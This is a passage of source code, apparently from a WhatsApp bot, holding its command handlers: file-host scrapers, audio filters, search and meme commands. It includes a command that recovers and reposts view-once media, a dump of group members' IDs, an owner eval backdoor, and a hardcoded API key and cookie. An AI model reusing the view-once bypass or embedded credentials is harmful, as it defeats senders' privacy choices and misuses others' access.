حَرَامِكَ، وَأَغْنِنِيْ بِفَضْلِكَ عَمَّنْ سِوَاكَ", + "latin": "Allahummakfini bihalalika ‘an haramik wa aghnini bifadhlika amman siwak", + "artinya": "Ya Allah, berilah aku kecukupan dengan rezeki yang halal, sehingga aku tidak memerlukan yang haram, dan berilah aku kekayaan dengan karuniamu, sehingga aku tidak memerlukan bantuan orang lain, selain diri-mu. (HR. Ahmad)" + }, + { + "id": "37", + "doa": "Doa ketika menyisir rambut", + "ayat": "اَللّهُمَّ حَرِّمْ شَعْرِى وَبَشَرِى عَلىَ النَّار", + "latin": "ALLAHUMMA HARRIM SYA'RII WA BASYARII 'ALAN NAAR", + "artinya": "Ya Allah, halangilah rambut dan kulitku dari api neraka" + } +] +var tobat = pickRandom(pripayerr) +let deks = ` [ *DOA HARIAN* ] + +- ${tobat.doa} + +Verse: ${tobat.ayat} +Latin: ${tobat.latin} +It means: ${tobat.artinya} +` +m.reply(deks) +} +break + +case 'sfile': { + if (args[0] && args[0].match(/(https:\/\/sfile.mobi\/)/gi)) { + const sfile = { + search: async (query, page = 1) => { + let res = await fetch(`https://sfile.mobi/search.php?q=${query}&page=${page}`) + let $ = cheerio.load(await res.text()), arr = [] + $('div.list').each((idx, el) => { + let title = $(el).find('a').text(), + size = $(el).text().trim().split(' (')[1], + link = $(el).find('a').attr('href') + if (link) arr.push({ title, size: size.replace(')', ''), link }) + }) + return arr + }, + download: async url => { + let res = await fetch(url) + let $ = cheerio.load(await res.text()), obj = {} + obj.filename = $('div.w3-row-padding').find('img').attr('alt') + obj.mimetype = $('div.list').text().split(' - ')[1].split('\n')[0] + obj.filesize = $('#download').text().replace(/Download File/g, '').replace(/\(|\)/g, '').trim() + obj.download = await getLink(url) + return obj + } +} + +async function getLink(url) { + url = 'https://sfile.mobi/download' + (new URL(url)).pathname + let html = await (await fetch(url)).text() + return html.split('" rel="nofollow"')[0].split('start, `*Title:* ${v.title}\n*Size:* ${v.size}\n*Link:* ${v.link}`).join`\n\n` + await reply(res + `\nPage: ${page}`) + } else return m.reply(`Enter Query Or Link!\n\nExample:\n${prefix + command} growtopia\n${prefix + command} https://sfile.mobi/1BnLYfsHEcO7`) +} +break + +case 'songai': +case 'songgen': { + if (!text) { + return reply(`Enter text\nExample: ${prefix + command} i love David Cyril`); + } + const api = { + xterm: { + url: "https://ai.xterm.codes", + key: "Bell409" + } +}; + const SongGenerator = async (prompt) => { + try { + const { key } = await David.sendMessage(m.chat, { text: "Please wait.." }, { quoted: m }); + const response = await axios({ + method: 'post', + url: `${api.xterm.url}/api/audioProcessing/song-generator`, + params: { prompt, key: api.xterm.key }, + responseType: 'stream' + }); + return new Promise((resolve, reject) => { + response.data.on('data', (chunk) => { + try { + const eventString = chunk.toString(); + const eventData = eventString.match(/data: (.+)/); + if (eventData && eventData[1]) { + const data = JSON.parse(eventData[1]); + switch (data.status) { + case 'queueing': + case 'generating': + David.sendMessage(m.chat, { text: data.msg, edit: key }); + break; + case 'failed': + response.data.destroy(); + reject(new Error(data.msg)); + break; + case 'success': + response.data.destroy(); + resolve(data); + break; + default: + David.sendMessage(m.chat, { text: "Unknown status: " + data, edit: key }); + } + } + } catch (e) { + David.sendMessage(m.chat, { text: "Error processing chunk: " + e.message, edit: key }); + response.data.destroy(); + reject(e); + } + }); + response.data.on('error', (err) => { + David.sendMessage(m.chat, { text: "Stream error: " + err.message, edit: key }); + reject(err); + }); + }); + } catch (error) { + David.sendMessage(m.chat, { text: "Error: " + error.message, edit: key }); + throw error; + } + }; + try { + const data = await SongGenerator(text); + await David.sendPresenceUpdate('recording', m.chat); + await David.sendMessage(m.chat, { audio: { url: data.result.audioUrl }, mimetype: "audio/mpeg", ptt: true }, { quoted: m }); + let doc = { + text: data.result.lyrics, + contextInfo: { + externalAdReply: { + showAdAttribution: true, + mediaType: 2, + mediaUrl: `https://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L/${Math.floor(Math.random() * 100000000000000000)}`, + title: `${ucapanWaktu} ${m.pushName}`, + body: `𝐐𝐔𝐄𝐄𝐍_𝐀𝐍𝐈𝐓𝐀-𝐕𝟒`, + sourceUrl: "https://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L", + thumbnail: fkethmb + } + } + }; + await David.sendMessage(m.chat, doc, { quoted: m }); + } catch (err) { + console.error(err); + } + } + break; + case 'userjid':{ + if(!isCreator) return reply(mess.OnlyOwner) + + let textt = `_Here is jid address of all users of_\n *- ${groupMetadata.subject}*\n\n` + for (let mem of participants) { + textt += `${mem.id}\n` + } + reply(textt) + } + break +case 'bass': case 'blown': case 'deep': case 'earrape': case 'fast': case 'fat': case 'nightcore': case 'reverse': case 'robot': case 'slow': case 'smooth': case 'squirrel': + try { + let set + if (/bass/.test(command)) set = '-af equalizer=f=54:width_type=o:width=2:g=20' + if (/blown/.test(command)) set = '-af acrusher=.1:1:64:0:log' + if (/deep/.test(command)) set = '-af atempo=4/4,asetrate=44500*2/3' + if (/earrape/.test(command)) set = '-af volume=12' + if (/fast/.test(command)) set = '-filter:a "atempo=1.63,asetrate=44100"' + if (/fat/.test(command)) set = '-filter:a "atempo=1.6,asetrate=22100"' + if (/nightcore/.test(command)) set = '-filter:a atempo=1.06,asetrate=44100*1.25' + if (/reverse/.test(command)) set = '-filter_complex "areverse"' + if (/robot/.test(command)) set = '-filter_complex "afftfilt=real=\'hypot(re,im)*sin(0)\':imag=\'hypot(re,im)*cos(0)\':win_size=512:overlap=0.75"' + if (/slow/.test(command)) set = '-filter:a "atempo=0.7,asetrate=44100"' + if (/smooth/.test(command)) set = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"' + if (/squirrel/.test(command)) set = '-filter:a "atempo=0.5,asetrate=65100"' + if (/audio/.test(mime)) { + let media = await David.downloadAndSaveMediaMessage(quoted) + let ran = getRandom('.mp3') + exec(`ffmpeg -i ${media} ${set} ${ran}`, (err, stderr, stdout) => { + fs.unlinkSync(media) + if (err) return reply(err) + let buff = fs.readFileSync(ran) + David.sendMessage(m.chat, { audio: buff, mimetype: 'audio/mpeg' }, { quoted : m }) + fs.unlinkSync(ran) + }) + } else reply(`Reply to the audio you want to change with a caption *${prefix + command}*`) + } catch (e) { + reply(e) + } + break +case 'spotify': case 'spotifysearch': { +if (!text) return m.reply('❌ *Spotify Search* ❌\n\nPlease enter keywords to search for songs on Spotify.') + try { + do2 = await searchSpotifyTracks(text) +let ini_text = '✨ *Spotify Search* ✨'; +for (const x of do2) { +ini_text += `\n + •🎵 *Title:* ${x.name} +👥 *Artist:* ${x.artists.map(v => v.name).join(', ')} +👥 *Artist Album:* ${x.album.artists.map(v => v.name).join(', ')} +🆔 *ID:* ${x.id} +📅 *Album Release Date:* ${x.album.release_date} +🆔 *Album ID:* ${x.album.id} +🎵 *Album Track Count:* ${x.album.total_tracks} +🔢 *Track Number:* ${x.album.track_number} +⏳ *Duration:* ${x.duration_ms} ms +🔗 *Url:* ${x.uri} +🎵 *URL Album*: ${x.album.external_urls.spotify}\n +─────────────────── +`; +} +reply(ini_text) +} catch (e) { + return m.reply('❌ *Spotify Search* ❌\n\nAn Error Occurred, Please Try Again Later.') + } + } +break + + + + +case 'quote': { + if (!text || !text.includes('|')) { + return reply(`*Usage:* .quote |\n\n*Example:* .quote Be yourself|Albert Einstein`); + } + + try { + // Split the input into text and name + const [quoteText, author] = text.split('|').map(t => t.trim()); + const font = 'Poppins-Bold'; // Default font + let imageUrl; + + // Check if the command is replying to an image + if (/image/.test(mime)) { + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + const uploadResponse = await uploadToImgur(mediaPath); // Use the Imgur upload function + if (uploadResponse.status !== "success") { + fs.unlinkSync(mediaPath); // Clean up the downloaded file + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> ${uploadResponse.message}`); + } + imageUrl = uploadResponse.fileUrl; // Get the uploaded image URL + fs.unlinkSync(mediaPath); // Clean up the downloaded file + } + // If no image is replied to, use a default image + else { + imageUrl = 'https://cdn.popcat.xyz/popcat.png'; // Default image + } + + // Call the Quote API + const apiResponse = await axios.get(`https://api.popcat.xyz/quote`, { + params: { image: imageUrl, text: quoteText, font, name: author } + }); + + if (apiResponse.status === 200) { + const quoteImageUrl = apiResponse.request.res.responseUrl; // The URL of the generated quote image + + // Send the quote image back to the user + await David.sendMessage(m.chat, { + image: { url: quoteImageUrl }, + caption: `*Quote Generated Successfully!*\n\n"${quoteText}"\n- ${author}`, + }, { quoted: m }); + } else { + reply(`*QUOTE GENERATION ERROR!! MESSAGE :*\n\n> Failed to generate a quote image. Try again.`); + } + } catch (error) { + console.error('Error in Quote command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + + + + case 'rvo': { + const isQuotedViewOnce = m.message.extendedTextMessage?.contextInfo?.quotedMessage?.viewOnceMessageV2 ? true : false; +if (!isQuotedViewOnce) return reply('Reply viewonce') +let type = Object.keys(m.quoted.message)[0] +let quotedType = m.quoted.message[type] +let media = await downloadContentFromMessage(quotedType, type == "imageMessage" ? "image" : "video") +let buffer = Buffer.from([]) +for await (const chunk of media) { +buffer = Buffer.concat([buffer, chunk]) +} +if (/video/.test(type)) { +await David.sendMessage(m.chat, { video: buffer, caption: quotedType.caption }) +} else if (/image/.test(type)) { +await David.sendMessage(m.chat, { image: buffer, caption: quotedType.caption }) +} +} +break + case 'pixeldrain': { + if (!args[0]) + return reply(`Input Pixeldrain URL\n${prefix + command} > Url <\n\nExample:\n${ + prefix + command + } https://pixeldrain.com/u/HoGp3Hva\n\n Opsi kedua:\n https://pixeldrain.com/l/2xrapNPF#item=9`); + + if (!/pixeldrain.com\//.test(args[0])) return reply("URL Please!!"); +function formatSize(num) { + return `${(num / 1000 / 1000).toFixed(2)} MB`; +} + +async function fetchFileData(id) { + const response = await axios.get( + `https://pixeldrain.com/api/file/${id}/info`, + ); + const json = response.data; + const download = `https://pixeldrain.com/api/file/${id}?download`; + return { download, ...json }; +} + +async function scrapeListData(url) { + try { + const response = await axios.get(url); + const html = response.data; + const $ = cheerio.load(html); + + const scriptContent = $("script") + .toArray() + .map((script) => $(script).html()) + .find((content) => content.includes("window.viewer_data")); + + if (scriptContent) { + const viewerDataString = scriptContent.match( + /window.viewer_data\s*=\s*({.*?});/, + )[1]; + const viewerData = JSON.parse(viewerDataString); + + const data = viewerData.api_response.files.map((file) => ({ + title: file.name, + id: file.id, + })); + + return data; + } else { + console.error("window.viewer_data not found"); + return []; + } + } catch (error) { + console.error("Error fetching the page:", error); + return []; + } +} + const url = args[0]; + const fileIdMatch = url.match(/\/u\/(\w+)/); + const listIdMatch = url.match(/\/l\/(\w+)/); + + if (fileIdMatch) { + const id = fileIdMatch[1]; + const fileData = await fetchFileData(id); + const formattedSize = formatSize(fileData.size); + const sizeMatch = formattedSize.match(/^([\d.]+)\s*(GB|MB)$/i); + + if (!sizeMatch) { + return m.reply("Unknown file size unit."); + } + + const size = parseFloat(sizeMatch[1]); + const unit = sizeMatch[2].toUpperCase(); + let sizeInMB; + + if (unit === "GB") { + sizeInMB = size * 1024; + } else if (unit === "MB") { + sizeInMB = size; + } else { + return m.reply("Unknown file size unit."); + } + + const w = "`"; + + let message = + `PixelDrain Downloader\n\n- Name: ${fileData.name}\n` + + `- Size: ${formattedSize}\n` + + `- Views: ${fileData.views}\n` + + `- Downloads: ${fileData.downloads}\n` + + `- Uploaded: ${fileData.date_upload.split("T")[0]}\n` + + `- Type: ${fileData.mime_type}\n\n_Sedang Mengirim File..._`; + await m.reply(message); + + await David.sendMessage( + m.chat, + { + document: { url: fileData.download }, + fileName: fileData.name, + mimetype: fileData.mime_type, + }, + { quoted: m }, + ); + } else if (listIdMatch) { + David.pixpix = David.pixpix || {}; + const listData = await scrapeListData(url); + if (listData.length === 0) return m.reply("No files found."); + + const fileList = listData.map((item, index) => ({ + title: item.title, + id: item.id, + })); + + const fileListText = fileList + .map((item, index) => `${index + 1}. ${item.title}`) + .join("\n"); + const { key } = await reply(`Result List:\n\n${fileListText}\n\nReply to this message with the number, link you want to display.`); + David.pixpix[m.chat] = { + list: fileList, + key, + timeout: setTimeout( + () => { + David.sendMessage(m.chat, { delete: key }); + setTimeout(() => { + delete David.pixpix[m.chat]; + }, 60 * 1000); + }, + 5 * 60 * 1000, + ), + }; + } else { + return reply("URL Please!!"); + } +} +break + case 'gdrive': { +if (!text) return reply(`Example ${prefix + command} url`) +async function GDriveDl(url) { + let id = (url.match(/\/?id=(.+)/i) || url.match(/\/d\/(.*?)\//))?.[1] + if (!id) return reply('ID Not Found') + let res = await fetch(`https://drive.google.com/uc?id=${id}&authuser=0&export=download`, { + method: 'post', + headers: { + 'accept-encoding': 'gzip, deflate, br', + 'content-length': 0, + 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', + 'origin': 'https://drive.google.com', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', + 'x-client-data': 'CKG1yQEIkbbJAQiitskBCMS2yQEIqZ3KAQioo8oBGLeYygE=', + 'x-drive-first-party': 'DriveWebUi', + 'x-json-requested': 'true' + } + }) + let { fileName, sizeBytes, downloadUrl } = JSON.parse((await res.text()).slice(4)) + if (!downloadUrl) return reply('Link Download Limit!') + let data = await fetch(downloadUrl) + if (data.status !== 200) throw data.statusText + return { + downloadUrl, fileName, + fileSize: (sizeBytes / 1024 / 1024).toFixed(2), + mimetype: data.headers.get('content-type') + } +} +try { + let kanjuttgede = await GDriveDl(text) + let bjirrbang = `*Google Drive*\n\nName: ${kanjuttgede.fileName}\nLink: ${kanjuttgede.downloadUrl}` + reply(bjirrbang) + await David.sendMessage(m.chat, { document: { url: kanjuttgede.downloadUrl }, fileName: kanjuttgede.fileName, mimetype: kanjuttgede.mimetype }, { quoted: m }) +} catch (error) { + m.reply(`${error.message}`) +} +} +break +case 'morphic': { + if (!text) return reply(`Example: ${prefix + command} hai`) +async function morphic(query) { + const url = 'https://www.morphic.sh/'; + const formData = new FormData(); + + formData.append('1', JSON.stringify({ id: '6399a7e212fa477d1a783edade27c8354a64e1ab', bound: null })); + formData.append('2', JSON.stringify({ id: '9eed8f3e1c51044505fd5c0d73e8d2a92572691c', bound: null })); + formData.append('3_input', query); + formData.append('3_include_images', 'true'); + formData.append('0', JSON.stringify([{"action":"$F1","options":{"onSetAIState":"$F2"}},{"chatId":"9TI931x","messages":[]},"$K3",false,"$undefined","$undefined"])); + + try { + const response = await fetch(url, { + method: 'POST', + headers: { + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0', + Accept: 'text/x-component', + 'Accept-Language': 'en-US,en;q=0.5', + 'Accept-Encoding': 'gzip, deflate, br, zstd', + Referer: 'https://www.morphic.sh/', + 'Next-Action': 'c54d85c7f9588581807befbe1a35958acc57885b', + 'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%22%2C%22refresh%22%5D%7D%2Cnull%2Cnull%2Ctrue%5D', + Origin: 'https://www.morphic.sh', + Connection: 'close', + Cookie: 'ph_phc_HK6KqP8mdSmxDjoZtHYi3MW8Kx5mHmlYpmgmZnGuaV5_posthog=%7B%22distinct_id%22%3A%220191839d-890a-7a97-b388-bc7191ac7047%22%2C%22%24sesid%22%3A%5B1724490025781%2C%220191839d-8909-72e8-b586-d66ff3bde34f%22%2C1724490025225%5D%7D', + Priority: 'u=0', + TE: 'trailers', + }, + body: formData + }); + + const data = await response.text(); + + const regex = /"diff":\[0,"([^"]+)"\]/g; + let result; + let finalText = ""; + + while ((result = regex.exec(data)) !== null) { + finalText += result[1]; + } + + return finalText; + } catch (error) { + console.error('Error:', error); + throw error; + } +} +try { + let hannpler = await morphic(text) + David.sendMessage(m.chat, {text: hannpler}, {quoted: m}) +} catch (error) { + m.reply("Error!!!") +} +} +break +case 'pixiv': { + if (!text) return reply(`Example: ${prefix + command} harimau`); + async function pixiv(word) { + var { get } = require("axios") + const url = 'https://www.pixiv.net/touch/ajax/tag_portal'; + const params = { word, lang: 'en', version: 'b355e2bcced14892fe49d790ebb9ec73d2287393' }; + const headers = { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Mobile Safari/537.36', + 'Referer': 'https://www.pixiv.net/', + 'Accept-Encoding': 'gzip, deflate, br' + }; + const { data } = await get(url, { params, headers }); + const illusts = data.body.illusts; + const random = illusts[Math.floor(Math.random() * illusts.length)].url; + const image = await axios.get(random, { responseType: 'arraybuffer', headers }); + + return image.data; +} + m.reply(mess.wait) + let hannunibakwan = await pixiv(text) + await David.sendMessage(m.chat, { image: hannunibakwan, caption: "Done" }, { quoted:m }); +} +break + case 'playstore': { + let [tema, urutan] = text.split(/[^\w\s]/g) + if (!tema) return m.reply("Input query!\n*Example:*\n.playstore [query]|[number]") + m.reply(mess.wait) + async function playstore(query) { + let html = (await axios.get(`https://play.google.com/store/search?q=${query}&c=apps`)).data + let $ = cheerio.load(html) + return $("div.VfPpkd-aGsRMb").get().map(x => { + return { + title: $(x).find("span.DdYX5").text(), + rating: $(x).find("span.w2kbF").text(), + author: $(x).find("span.wMUdtb").text(), + thumbnail: $(x).find(".j2FCNc img").attr("src").replace("s64", "s256"), + link: "https://play.google.com" + $(x).find("a.Si6A0c").attr("href") + } + }) +} + try { + let data = await playstore(tema) + if (!urutan) return m.reply("Input query!\n*Example:*\n.playstore [query]|[number]\n\n*Select the existing numbers*\n" + data.map((item, index) => `*${index + 1}.* ${item.title}`).join("\n")) + if (isNaN(urutan)) return m.reply("Input query!\n*Example:*\n.playstore [query]|[number]\n\n*Select the existing numbers*\n" + data.map((item, index) => `*${index + 1}.* ${item.title}`).join("\n")) + if (urutan > data.length) return m.reply("Input query!\n*Example:*\n.playstore [query]|[number]\n\n*Select the existing numbers*\n" + data.map((item, index) => `*${index + 1}.* ${item.title}`).join("\n")) + let out = data[urutan - 1] + let caption = `*I N F O R M A T I O N* + +*Application Title:* ${out.title || "-"} +*Link:* ${out.link || "-"} +*ID Product:* ${out.product_id || "-"} +*Rating:* ${out.rating || "-"} +*Pengembang:* ${out.author || "-"} +*Category:* ${out.category || "-"} +*Downloads:* ${out.downloads || "-"} +*Video:* ${out.video || "-"} +*Thumbnail:* ${out.thumbnail || "-"} +*Gambar Fitur:* ${out.feature_image || "-"} +*Description:* ${out.description || "-"}` + await m.reply(caption) + } catch (e) { + await m.reply(`${error.message}`) + } +} +break + + +case 'top': { + if (!m.isGroup) return m.reply(mess.OnlyGrup) +if (!text) return m.reply(`Example: .top lovers`) +let member = participants.map(u => u.id) + let top1 = member[Math.floor(Math.random() * member.length)] + let top2 = member[Math.floor(Math.random() * member.length)] +let top3 = member[Math.floor(Math.random() * member.length)] + let top4 = member[Math.floor(Math.random() * member.length)] +let top5 = member[Math.floor(Math.random() * member.length)] + let jawab = `Top 5 *${text}* + +1. @${top1.split('@')[0]} +2. @${top2.split('@')[0]} +3. @${top3.split('@')[0]} +4. @${top4.split('@')[0]} +5. @${top5.split('@')[0]} +` + let menst = [top1, top2, top3, top4, top5] + await David.sendText(m.chat, jawab, m, {mentions: menst}) + } + break + case 'del': case 'd':{ +David.sendMessage(m.chat, +{ +delete: { +remoteJid: m.chat, +fromMe: true, +id: m.quoted.id, +participant: m.quoted.sender +} +}) +} +break +case 'npms':{ + if (!text) return m.reply('Input Query') + let res = await fetch(`http://registry.npmjs.com/-/v1/search?text=${text}`) + let { objects } = await res.json() + if (!objects.length) return reply(`Query "${text}" not found :/`) + let txt = objects.map(({ package: pkg }) => { + return `*${pkg.name}* (v${pkg.version})\n_${pkg.links.npm}_\n_${pkg.description}_` + }).join`\n\n` + m.reply(txt) +} +break +case 'next-holiday': { + m.reply(mess.wait) + async function nexLibur() { + const { data } = await axios.get("https://www.liburnasional.com/"); + let libnas_content = []; + let $ = cheerio.load(data); + let result = { + nextLibur: + "Holiday" + + $("div.row.row-alert > div").text().split("Hari libur")[1].trim(), + libnas_content, + }; + $("tbody > tr > td > span > div").each(function (a, b) { + let summary = $(b).find("span > strong > a").text(); + let days = $(b).find("div.libnas-calendar-holiday-weekday").text(); + let dateMonth = $(b).find("time.libnas-calendar-holiday-datemonth").text(); + libnas_content.push({ summary, days, dateMonth }); + }); + return result; + } + try { + let teks = `*${(await nexLibur()).nextLibur}*\n\n` + let result = (await nexLibur()).libnas_content + + for (let a of result) { + teks += `Date: ${a.summary}\nDate: ${a.days}\nMonth: ${a.dateMonth}\n\n` + } + reply(teks) + } catch (e) { + throw e + } +} +break +case 'lahelu': { + let tags = ['funny', 'relate', 'gaming', 'nostalgia', 'technology', 'random', 'comic', 'edit', 'wtf', 'sport', 'opinion', 'dark', 'absurd', 'cringe', 'sus', 'animals'] + if(text && !tags.includes(text)) return m.reply(`Meme "${text}" not found! \n\n${tags.map(v => `- ${v}`).join('\n')}`) + let url; + let page = Math.round(Math.random() * 25) + if(!text) url = `https://lahelu.com/api/post/get-posts?feed=1&page=${page}` + if(text) url = `https://lahelu.com/api/post/get-posts?feed=1&hashtags[]=${text}&page=${page}` + let anu = (await axios.get(url)).data + let data = anu.postInfos[Math.floor(Math.random() * anu.postInfos.length)] + if(/^video/i.test(data.media)) return await David.sendMessage(m.chat, { video: { url: 'https://cache.lahelu.com/'+data.media }, caption: data.title, viewOnce: true }, { quoted: m }) + if(/^image/i.test(data.media)) return await David.sendMessage(m.chat, { image: { url: 'https://cache.lahelu.com/'+data.media }, caption: data.title, viewOnce: true }, { quoted: m }) + } +break + + + + +case 'ebay': { + if (!q) return m.reply(`What are you looking for?`); + const axios = require('axios'); + const cheerio = require('cheerio'); +// wm avs + async function azvxz(query) { + try { // wm avs + const url = `https://www.ebay.com/sch/i.html?_nkw=${encodeURIComponent(query)}`; + const { data } = await axios.get(url); + const $ = cheerio.load(data); + const results = []; + $('.s-item').each((index, element) => { + const title = $(element).find('.s-item__title').text().trim(); + const price = $(element).find('.s-item__price').text().trim(); + const link = $(element).find('.s-item__link').attr('href'); + if (title && title !== "Shop on eBay") { // Jgn Di Hapus Ini + results.push({ title, price, link }); + } + }); + return results; + } catch (error) { + console.error('Error:', error); + return []; + } + } +// wm avs + const query = m.text; + try { + const results = await azvxz(query); +// wm avs + if (results.length === 0) { + m.reply("No results found for your search."); + } else { + let response = "eBay search results:\n\n"; + results.forEach((item, index) => { + response += `${index + 1}. ${item.title}\nPrice: ${item.price}\nLink: ${item.link}\n\n`; + }); + m.reply(response); + } + } catch (error) { + m.reply("Terjadi Error."); + } +} +break + +case 'rangkum': { + if (!q) return m.reply(`Enter the sentence you want to summarize`); +// wm avs + const sentences = `${q}`.match(/[^.!?]+[.!?]/g) || []; +// wm avs + const wordFrequency = {}; + sentences.forEach(sentence => { + const words = sentence.toLowerCase().split(/\s+/); + words.forEach(word => { + word = word.replace(/[.,!?]/g, ''); + if (word.length > 0) { + if (wordFrequency[word]) { + wordFrequency[word]++; + } else { + wordFrequency[word] = 1; + } + } + }); + }); +// wm avs + const sortedWords = Object.keys(wordFrequency).sort((a, b) => wordFrequency[b] - wordFrequency[a]); +// wm avs + const summarySentences = sentences + .filter(sentence => { + const words = sentence.toLowerCase().split(/\s+/).map(word => word.replace(/[.,!?]/g, '')); + return words.some(word => sortedWords.includes(word)); + }) + .slice(0, 3); +// wm avs + const summary = summarySentences.join(' '); +// wm avs + m.reply(summary || "Failed to summarize text."); +} +break +case 'animecharacter': { + if (!text) { + m.reply('Example: animecharacter naruto'); + return; + } +// wm avs + m.reply('_Patience sir, looking for anime characters..._'); +// wm avs + async function getCharacterInfo(characterName) { + const query = ` + query ($search: String) { + Character(search: $search) { + name { + full + } + description + media { + nodes { + title { + romaji + } + } + } + } + } + `; + const variables = { + search: characterName + }; +// wm avs + const response = await fetch('https://graphql.anilist.co', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Accept': 'application/json', + }, + body: JSON.stringify({ + query: query, + variables: variables + }) + }); + if (!response.ok) { + throw new Error('Failed to fetch Character data'); + } +// wm avs + const data = await response.json(); + return data.data.Character; + } +// wm avs + try { + const query = text.trim(); + const characterInfo = await getCharacterInfo(query); +// wm avs + if (!characterInfo) { + m.reply('Character'); + return; + } +// wm avs + // Format hasil pencarian Character + const name = characterInfo.name.full; + const description = characterInfo.description || 'Description None'; + const mediaTitles = characterInfo.media.nodes.map(node => node.title.romaji).join(', '); +// wm avs + const formattedDescription = description + .replace(/\n/g, '\n\n') // jgb ubah + .replace(/__([^__]+)__/g, '*$1*') // jgn ubah + .replace(/~\!?\[([^\]]+)]\(([^)]+)\)~?/g, '*$1* ($2)') // jgn ubah ini + .replace(/^\s+/gm, ''); +// wm avs + const result = `*Name Character:* ${name}\n\n*Description:* ${formattedDescription}\n\n*Media Related:* ${mediaTitles}`; +// wm avs + m.reply(result); +// wm avs + } catch (error) { + m.reply(`There is an error: ${error.message}`); + } +} +break + case 'gimage': { + if (!text) return m.reply(`gimage avosky`) + m.reply(mess.wait) + const axios = require('axios') + const cheerio = require('cheerio') +// wm avs + const nyariGambar = async (query) => { + const url = `https://www.google.com/search?q=${encodeURIComponent(query)}&tbm=isch` + const { data } = await axios.get(url) + const $ = cheerio.load(data) + let images = [] + $('img').each((i, elem) => { + images.push($(elem).attr('src')) + }) + return images + } +// wm avs + nyariGambar(text).then(images => { + if (images.length === 0) { + return m.reply('No picture.') + } + let imageAvz = images[Math.floor(Math.random() * images.length)] + David.sendMessage(m.chat, { image: { url: imageAvz }, caption: `*Query* : ${text}\n*Media Url* : ${imageAvz}` }, { quoted: m }) + }).catch(error => { + m.reply('There is an error.') + }) +} +break + +case 'kbbi-kemdikbud': { + if (!text) return m.reply('Example: kbbi-kemdikbud') + const axios = require('axios') + const url = `https://kbbi.kemdikbud.go.id/entri/${encodeURIComponent(text)}` + // wm avs + axios.get(url).then(response => { + const cheerio = require('cheerio') + const $ = cheerio.load(response.data) + let definition = $('ol').first().text().trim() + // wm avs + if (!definition) { + return m.reply('Word not found in KBBI.') + } + // wm avs + David.sendMessage(m.chat, { text: `${definition}` }, { quoted: m }) + }).catch(error => { + m.reply('It happened lol.') + }) +} +break +case 'photoleap': { + if (!q) return m.reply(`Example \n\nphotoleap girl crying`); + async function textToImageVsky(text) { + try { + const { data } = await axios.get("https://tti.photoleapapp.com/api/v1/generate?prompt=" + encodeURIComponent(text)); + return data; + } catch (err) { + return null; + } + } +//avosky + const result = await textToImageVsky(text); +//avosky + if (result && result.result_url) { + const imageUrl = result.result_url; + const message = { + image: { url: imageUrl }, + caption: '𝐐𝐔𝐄𝐄𝐍_𝐀𝐍𝐈𝐓𝐀-𝐕𝟒' + }; + David.sendMessage(m.chat, message); + } else { + m.reply('err.'); + } +} +break + +case 'picsum': { + if (!q) return m.reply(`Example \n\npicsum nature`); + + async function picSumAvz(text) { + try { + const imageUrl = `https://picsum.photos/seed/${q}/800/600`; + return imageUrl; + } catch (err) { + return null; + } + } +//avs + const result = await picSumAvz(q); + if (result) { + const message = { + image: { url: result }, + caption: `image search results : ${q}` + }; + David.sendMessage(m.chat, message); + } else { + m.reply('err.'); + } +} +break + + case 'readmore': { + const more = String.fromCharCode(8206) +const readmore = more.repeat(4001) + let [l, r] = text.split`|` + if (!l) l = '' + if (!r) r = '' + David.sendMessage(m.chat, {text: l + readmore + r}, {quoted: m}) +} +break; + +case 'gsmarena': { + if (args.length === 0) { + m.reply('Please enter the name of the device you want to search for..'); + return; + } + + async function gsmSearch(q) { + try { + const response = await axios({ + method: "get", + url: `https://gsmarena.com/results.php3?sQuickSearch=yes&sName=${q}` + }); + const $ = cheerio.load(response.data); + const result = []; + + const device = $(".makers").find("li"); + device.each((i, e) => { + const img = $(e).find("img"); + result.push({ + id: $(e).find("a").attr("href").replace(".php", ""), + name: $(e).find("span").html().split("
").join(" "), + description: img.attr("title") + }); + }); + return result; + } catch (error) { + console.error(error); + throw error; + } + } + + gsmSearch(q).then(results => { + if (results.length === 0) { + m.reply('No results found.'); + return; + } + + let replyText = `Search results for "${q}":\n\n`; + results.forEach((device, index) => { + replyText += `${index + 1}. ${device.name}\nDescription: ${device.description}\nLink: https://gsmarena.com/${device.id}.php\n\n`; + }); + + m.reply(replyText); + }).catch(error => { + m.reply('An error occurred while searching for devices.'); + console.error(error); + }); +} +break +case 'igvid': case 'igmp4': { + if (!text) return m.reply(`You need to provide the video URL, reel`); + let res; + try { + res = await fetch(`https://widipe.com/download/igdl?url=${encodeURIComponent(text)}`); + } catch (error) { + return m.reply(`An error occurred: ${error.message}`); + } + + let api_response; + try { + api_response = await res.json(); + } catch (error) { + return m.reply(`Failed to parse API response: ${error.message}`); + } + + if (!api_response || !api_response.result || api_response.result.length === 0) { + return m.reply(`No video or image found or Invalid response from API.`); + } + +try { + const mediaData = api_response.result[0]; // Ambil elemen pertama dari array result + //const mediaType = mediaData.thumbnail ? 'image' : 'video'; // Periksa apakah thumbnail ada + const mediaURL = mediaData.url; + const cap = `HERE IS THE VIDEO`; + + await David.sendMessage(m.chat, { video: { url: mediaURL }, caption: cap }, { quoted: m }); + + } catch (error) { + return m.reply(`Failed to send media: ${error}`); + } +} +break + + + + + + +default: +if (budy.startsWith('=>')) { +if (!isCreator) return +function Return(sul) { +sat = JSON.stringify(sul, null, 2) +bang = util.format(sat) +if (sat == undefined) { +bang = util.format(sul) +} +return m.reply(bang) +} +try { +m.reply(util.format(eval(`(async () => { return ${budy.slice(3)} })()`))) +} catch (e) { +m.reply(String(e)) +} +} + +if 